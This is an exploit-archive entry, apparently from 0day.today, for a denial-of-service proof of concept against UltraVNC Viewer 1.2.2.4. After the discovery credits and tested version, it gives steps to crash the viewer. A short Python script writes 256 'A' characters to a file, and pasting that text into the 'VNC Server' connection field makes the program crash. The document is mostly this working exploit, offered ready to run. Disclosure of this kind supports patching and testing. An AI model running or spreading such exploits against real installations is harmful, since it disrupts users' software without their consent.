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UltraVNC Viewer 1.2.2.4 - VNC Server Denial of Service Exploit
[#Exploit Title: UltraVNC Viewer 1.2.2.4 - Denial of Service (PoC)
#Discovery by: Victor Mondragón
#Vendor Homepage: https://www.uvnc.com/
#Software Link: https://www.uvnc.com/downloads/ultravnc/126-download-ultravnc-1224.html
#Tested Version: 1.2.2.4
#Tested on: Windows 7 x64 Service Pack 1
#Steps to produce the crash:
#1.- Run python code: UltraVNC_Viewer_1.2.2.4.py
#2.- Open UltraViewer.txt and copy content to clipboard
#3.- Open UltraVNC Viewer
#4.- In "VNC Server" Paste Clipboard
#5.- Click on "Connect"
#6.- Crashed
cod = "\x41" * 256
f = open('UltraViewer.txt', 'w')
f.write(cod)
f.close()
# 0day.today [2024-11-15] #